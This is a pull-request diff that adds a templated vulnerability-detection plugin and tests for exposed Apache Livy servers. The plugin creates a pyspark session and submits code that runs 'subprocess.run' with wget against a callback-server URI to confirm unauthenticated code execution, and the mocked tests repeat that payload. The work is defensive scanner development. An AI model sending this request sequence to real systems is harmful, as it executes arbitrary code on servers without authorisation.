Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,149 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "ApacheLivy_ExposedUI"
author: "joernNNN"
version: "0.1"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "APACHELIVY_EXPOSED_UI"
}
title: "Apache Livy Exposed instance"
description: "Apache Livy instance is exposed and can be used to compromise the system."
recommendation:
"Configure authentication or ensure the Apache Livy instance is not exposed "
"to the network. See "
"https://livy.apache.org/get-started/ for details."
severity: CRITICAL
}

###########
# ACTIONS #
###########

actions: {
name: "livy_exposed_ui_fingerprint"
http_request: {
method: GET
uri: "/ui"
response: {
http_status: 200
expect_all: {
conditions: { body {} contains: '<title>Livy - Sessions</title>' }
}
}
}
}

actions: {
name: "create_sessions"
http_request: {
method: POST
uri: "/sessions"
headers: [
{ name: "Content-Type" value: "application/json" }
]
data: '{"kind":"pyspark"}'
response: {
http_status: 201
expect_all: {
conditions: { body {} contains: '"proxyUser"' }
conditions: { body {} contains: '"kind"' }
}
extract_all: {
patterns: [
{
from_body: {}
regexp: "\"id\":([0-9]+),"
variable_name: "sessionid"
}
]
}
}
}
}

actions: {
name: "sleep_for_session_creation"
utility: { sleep: { duration_ms: 60000 } }
}

actions: {
name: "create_statements"
http_request: {
method: POST
uri: "/sessions/{{ sessionid }}/statements"
headers: [
{ name: "Content-Type" value: "application/json" }
]
data:'{"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"}'
response: {
http_status: 201
expect_all: {
conditions: { body {} contains: '"code"' }
conditions: { body {} contains: '"state"' }
conditions: { body {} contains: '"output"' }
}
extract_all: {
patterns: [
{
from_body: {}
regexp: "\"id\":([0-9]+),"
variable_name: "statementid"
}
]
}
}
}
}

actions: {
name: "execute_statements"
http_request: {
method: GET
uri: "/sessions/{{ sessionid }}/statements/{{ statementid }}"
response: {
http_status: 200
expect_all: {
conditions: { body {} contains: '"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"' }
conditions: { body {} contains: '"id"' }
conditions: { body {} contains: '"output"' }
}
}
}
}

actions: {
name: "sleep_for_callback"
utility: { sleep: { duration_ms: 2000 } }
}
actions: {
name: "check_callback_server_logs"
callback_server: { action_type: CHECK }
}


#############
# WORKFLOWS #
#############

workflows: {
actions: [
"livy_exposed_ui_fingerprint",
"create_sessions",
"sleep_for_session_creation",
"create_statements",
"execute_statements",
"sleep_for_callback",
"check_callback_server_logs"
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "ApacheLivy_ExposedUI"
}

tests: {
name: "whenVulnerable_returnsVuln"
expect_vulnerability: true

mock_callback_server: {
enabled: true
has_interaction: true
}
mock_http_server: {
mock_responses: [
{
uri: "/ui"
status: 200
body_content: '<title>Livy - Sessions</title>'
},
{
uri: "/sessions"
status: 201
body_content:
'{"id":6,"name":null,"appId":null,"owner":null,"proxyUser":null,"state":"starting","kind":"pyspark","appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\\nstderr: "],"ttl":null,"driverMemory":null,"driverCores":0,"executorMemory":null,"executorCores":0,"conf":{},"archives":[],"files":[],"heartbeatTimeoutInSecond":0,"jars":[],"numExecutors":0,"pyFiles":[],"queue":null}'
condition: {
body_content: '{"kind":"pyspark"}'
headers: [
{
name: "Content-Type",
value: "application/json"
}
]
}
},
{
uri: "/sessions/6/statements"
status: 201
condition: {
body_content: '{"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"}'
headers: [
{
name: "Content-Type",
value: "application/json"
}
]
}
body_content:
'{"id":4,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"running","output":null,"progress":0.0,"started":1755100962100,"completed":0}'
},
{
uri: "/sessions/6/statements/4"
status: 200
body_content:
'{"id":0,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"available","output":{"status":"ok","execution_count":0,"data":{"text/plain":"/opt"}},"progress":1.0,"started":1754515902001,"completed":1754515902003}'
}
]
}
}


tests: {
name: "whenNotApcheLivy_returnsNoVuln"
expect_vulnerability: false

mock_http_server: {
mock_responses: [
{
uri: "/api/v1/main/usages/all"
status: 400
body_content: "..."
}
]
}
}

tests: {
name: "whenNoCallback_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: true
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/ui"
status: 200
body_content: '<title>Livy - Sessions</title>'
},
{
uri: "/sessions"
status: 201
body_content:
'{"id":6,"name":null,"appId":null,"owner":null,"proxyUser":null,"state":"starting","kind":"pyspark","appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\\nstderr: "],"ttl":null,"driverMemory":null,"driverCores":0,"executorMemory":null,"executorCores":0,"conf":{},"archives":[],"files":[],"heartbeatTimeoutInSecond":0,"jars":[],"numExecutors":0,"pyFiles":[],"queue":null}'
condition: {
body_content: '{"kind":"pyspark"}'
headers: [
{
name: "Content-Type",
value: "application/json"
}
]
}
},
{
uri: "/sessions/6/statements"
status: 201
condition: {
body_content: '{"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"}'
headers: [
{
name: "Content-Type",
value: "application/json"
}
]
}
body_content:
'{"id":4,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"running","output":null,"progress":0.0,"started":1755100962100,"completed":0}'
},
{
uri: "/sessions/6/statements/4"
status: 200
body_content:
'{"id":0,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"available","output":{"status":"ok","execution_count":0,"data":{"text/plain":"/opt"}},"progress":1.0,"started":1754515902001,"completed":1754515902003}'
}
]
}
}